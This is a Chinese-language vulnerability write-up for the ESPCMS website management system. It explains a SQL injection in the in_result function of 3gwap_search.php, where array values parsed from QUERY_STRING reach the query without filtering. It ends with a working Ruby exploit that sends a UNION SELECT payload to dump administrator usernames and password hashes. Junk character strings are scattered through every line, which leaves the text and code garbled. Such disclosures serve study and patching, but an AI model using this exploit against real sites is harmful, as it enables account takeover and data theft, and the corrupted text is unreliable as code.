0×0 漏洞概述0×1 漏洞细节" I' Z i0 E0 J
0×2 PoC+ \8 _# H+ C' R* z! F4 \4 r
# g; W! p" k1 {) a/ x, I1 }' H. E* V- P7 i4 K& T
: b' R8 i8 F7 r6 e. ?" w0×0 漏洞概述) n3 o. _* K& ]
$ }6 q3 _9 `) l7 y# z
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。9 ?4 Q9 n( y9 y% z% q3 W& d; G. d
其在处理传入的参数时考虑不严谨导致SQL注入发生# u" s) \, z8 B! i3 }" U$ p# o
+ K. ^4 [& U* W( h; T& c
% T! e& C/ E. r0×1 漏洞细节
. q; P( {1 @3 F: J0 n+ K! Z& [ }# C y6 Z" S/ g" r, s8 p
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
6 G, B2 L4 Q; N正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。1 B2 m: n( e1 p1 Y& a
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
, E. y4 r( X% s1 e( G$ K1 x! {: J* l# X a+ w9 F
在/interface/3gwap_search.php文件的in_result函数中:
, u. X9 L6 Y3 |4 Q. d" p; H8 Z* ^5 b" K# N/ V" B+ v) ~4 C% v/ g m, J/ R# \
9 Y5 p& c% S* \; J$ H4 u! k; D4 \% c, @
function in_result() {
4 v8 y1 c" e- F6 \# b8 H ... ... ... ... ... ... ... ... ...
* F! c$ g* M( r. w: u7 { $urlcode = $_SERVER[ 'QUERY_STRING '];0 r: O, e- Y+ r: V
parse_str(html_entity_decode($urlcode), $output);( p; j( N% D- _) M% c3 e" I' Y
" B! R: q$ K6 I1 Q" I3 [0 y4 V, o; s
... ... ... ... ... ... ... ... ...6 ^1 O! D8 p0 ^$ u
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
$ S+ ?: k' N b* u- D: a. y' `
1 p8 | A4 k; I% h0 e3 E $db_table = db_prefix . 'model_att';* d# G. {7 j6 `" c
& K1 D& ?1 M- r$ b
foreach ($output['attr' ] as $key => $value) {2 L& F* W; ~% C8 R; V* k
if ($value) {
& v) i2 Q* A) ]( E4 S/ C. e* F4 J1 K1 g4 X3 B0 f7 z
$key = addslashes($key);
" N% s( {9 O/ x $key = $this-> fun->inputcodetrim($key);
5 q6 C, e0 K7 k" [3 B, @5 l1 W $db_att_where = " WHERE isclass=1 AND attrname='$key'";. \7 h* w: l, ~
$countnum = $this->db_numrows($db_table, $db_att_where);
2 U2 y3 o1 |" g if ($countnum > 0) {0 `: D6 K+ f; C8 p3 C+ I
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
+ q) H* ]+ L3 X }
) }# t q' W* O9 e( \' b }
9 M) w8 K/ s; x' y+ m$ j; H0 V }& S3 r( p% t+ c+ j
}
0 c1 V: t2 }' N9 W5 t if (!empty ($keyword) && empty($keyname)) {9 n1 [& z; P. Q5 w3 J4 U7 g+ V: m) r
$keyname = 'title';
' ]; t( V5 Q! O& Z1 o3 z/ |: R $db_where.= " AND a.title like '%$keyword%'" ;! ~' |4 K1 ~8 o# w
} elseif (!empty ($keyword) && !empty($keyname)) {
, K- u: j2 M( H. V4 b $db_where.= " AND $keyname like '% $keyword%'";
% ]0 n) h0 }: U4 p9 ~. o/ J; X }
0 X( _3 H8 X! c, o0 O $pagemax = 15;
' N% `! ?( m8 w4 R* v6 n3 H+ i! U, g8 V2 q7 a! {. g3 z( }' m/ f
$pagesylte = 1;" y! {& A; [, u, y& X$ ~# N3 |" I
( P4 {& E# E" z1 I' R J if ($countnum > 0) {9 q- @% v7 F* {) C) H) C
) v5 y( A2 J( E3 w4 P/ N. W $numpage = ceil($countnum / $pagemax);
# n+ g( T# X* E) h. F } else {: G" X9 v" w7 ?; F' o5 R' X- T: [7 [
$numpage = 1;% Y* u; Q) D8 x
}
}" [! [& b6 w F: | $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
& Q# e9 o9 k( I; O7 p $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);* }: ^- Y/ P# {0 O5 N6 l8 {" V+ G
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
: e8 C6 G. f! ]2 Y5 C% J( h ... ... ... ... ... ... ... ... ...
3 b% ?, M3 n- u& ]* H% c8 i& E }
/ K+ `: B! J0 Z$ b5 A( k
: |# |4 `, m2 ?, A
, i' o, [4 h P( g0×2 PoC
- q3 B$ c0 ?& P8 i7 [& h- Y( N5 w' y2 n% K
, K6 a' M: b; e! Z
1 d4 Z% a& v4 W( K
require "net/http"
, z% L( s2 ]* |+ S0 `4 A* h9 {2 M" `6 ?# F2 K1 ~/ [0 L
def request(method, url)8 b* }% x9 d$ O1 T4 |
if method.eql?("get")- N& E! e Y7 I0 ?9 e# V
uri = URI.parse(url)2 w' L; R6 }' k2 u' \
http = Net::HTTP.new(uri.host, uri.port)
, z- M4 G' Y- A/ O3 q response = http.request(Net::HTTP::Get.new(uri.request_uri)). b( Y6 r9 |" M; T
return response
0 b0 g4 b, V( \ end
$ v6 ~5 h; O7 T2 lend0 T, w5 D% _0 f4 }% s
+ x9 y) ?' @( F9 k
doc =<<HERE$ ~$ J% I }9 T! d1 F. {# d
-------------------------------------------------------7 s! M/ o% ]8 ?, A A' A! L$ m
Espcms Injection Exploit
6 d& t; P/ M v1 \% I uAuthor:ztz: F6 H% W+ M7 m6 y$ g
Blog:http://ztz.fuzzexp.org/
# }" [, x2 u% K-------------------------------------------------------
9 y, _5 O) |( ]9 X) \% X }7 V8 }
' c! n% f- ]/ q4 E5 EHERE
, o* r2 A" M9 k3 i, v
; p! e: W c8 J9 w) [* y5 j- nusage =<<HERE5 {0 ]( j! { _
Usage: ruby #{$0} host port path+ \% P+ L( B* z- S" e0 P$ a
example: ruby #{$0} www.target.com 80 /7 T& N: N$ r' U) x& w! ~
HERE0 l' X6 _0 j3 E
9 u- M2 ]( U0 u( H
puts doc
, G$ A; H l2 Sif ARGV.length < 3
# W5 G1 \- D/ G. b4 K/ r puts usage2 p {7 C% u# m0 H- G
else
9 n# r d9 A8 e9 s6 ] $host = ARGV[0]
4 k& [0 w( R! j $port = ARGV[1]' P) j. M/ } V( ~! A8 X4 R
$path = ARGV[2]
) |6 S9 _ m( W% f( z0 U9 @1 |# v
puts "send request..."( b0 g2 R \# o3 L l# g
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&7 @& O: B! u- ]5 \
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
4 d% a7 e2 ~+ `, \: b7 z8 I,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27 o: L( m: A: ]& O' W9 `/ @
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"( A( D& s6 g6 E) q# d+ D
response = request("get", url)
+ L7 Y, m6 g; m, d result = response.body.scan(/\w+&\w{32}/)
. Q: `* {) P# T+ L Z puts result+ x4 E6 \1 l" Z
end
$ ~# {) A b. {) W4 k: W. U/ R+ f7 N$ R0 y4 s
|